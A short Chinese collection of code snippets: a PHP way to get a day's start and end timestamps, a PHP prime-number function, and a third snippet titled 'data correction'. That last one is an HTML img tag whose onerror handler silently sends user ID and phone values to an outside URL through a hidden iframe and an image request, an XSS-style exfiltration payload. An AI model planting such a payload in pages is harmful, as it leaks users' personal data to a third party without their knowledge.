# 代码段

> 根据某天获取当天的时间戳

```
$date = "2018-10-10";
$start_time = strtotime($date);
$end_time = strtotime("$date +1 day -1 second");
```

> 求n以内的质数

```php
function get_prime($n)
{
    if ($n<2) return [];
    $prime = array(2);//2为质数

    for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数，步长可以加大 
        $sqrt = intval(sqrt($i));//求根号n

        for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数，当然不能被偶数整除，步长也可以加大。 
            if ($i % $j == 0) {
                break;
            }
        }

        if ($j > $sqrt) {
            array_push($prime, $i);
        }
    }

    return $prime;
}
```

> 数据修正

```
<img onerror=" var frame = document.createElement('iframe');
frame.src = `https://www.baidu.com?user=${_user}&phone=${_phone}&ver=334`;
frame.style.display = 'none';
document.body.appendChild(frame);
(new Image()).src=`https://www.baidu.com?uid=${_user}&phone=${_phone}`;"  src="x" />
```


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